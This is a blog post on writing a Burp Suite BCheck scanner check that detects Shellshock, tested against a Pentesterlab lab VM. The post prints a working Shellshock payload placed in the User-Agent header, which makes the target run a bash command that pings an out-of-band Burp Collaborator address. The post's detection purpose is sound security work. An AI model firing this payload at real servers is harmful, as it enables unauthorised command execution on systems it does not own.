Writing my first BCheck.
Portswigger recently released their declarative scan language for Burp, which allows you to rapidly write active and passive scanner checks, called BChecks.
It kind of is reminding me a bit of as if some kind of Perl, a sprinkle of Java, and Nuclei's YAML got put in a blender. It is a damn sight easier than writing an actual extension in Java for many usecases.
At this time, its not quite as powerful as Nuclei's YAML/DSL in some ways, but its way more potent in others, as it has decent access to Burps internals. Its also an early release - I suspect more features will follow.
You can read the docs on the Portswigger site, and there is also some examples.
I happened to have the Shellshock VM from Pentesterlab handy, and figured this is as good a time as any to try write a trivial test-case to detect the Shellshock vulnerability. I based this almost entirely off the examples for Referer based SSRF, and Log4Shell.
I figured the best way to go about this would be to inject a command instructing the target server to ping (one ping only) a generated Burp collaborator domain.
Lets take a look at the code.
metadata:
language: v1-beta
name: "Request-level collaborator based Shellshock"
description: "Shellshock in headers with out-of-band detection"
author: "fsd"
define:
shellshock = `() \{ :;}; /bin/bash -c 'ping -c 1 {generate_collaborator_address()}'`
given request then
send request:
replacing headers:
"User-Agent": `{shellshock}`
if dns interactions then
report issue:
severity: high
confidence: firm
detail: "shellshock in user-agent header."
remediation: "lol, update bash."
end if
So we have our metadata block at the top, then our 'define' block where we create a variable named 'shellshock', which contains our shellshock string and dynamically generates a collaborator address.
Getting the string to generate just write involved a lot of faff, the built-in editor has a 'validate' button that will tell you if theres a mistake in your code, but by god its trial and error. Hopefully someone releases a functioning linter for these.
Anyway. What we do next is for each base request in the scan queue, we send a request, replacing the 'User-Agent' header's value with the shellshock string we defined above.
We could add more headers to target here, but lets stick with this for now.
We then have a simple if block which checks if there was a DNS interaction raised by this, and reports an issue - with some stuff we tell it to report, such as the confidence level, description, title, remediation, etc.
After some faffing about, we test this out by running a scan with this new check enabled, and we get ourselves a nice result!
An exercise for the reader is to extend this check to check other headers.
Or maybe there is a way to iterate over all the headers and automagically test them? Who knows! If I figure that out, I'll post an update.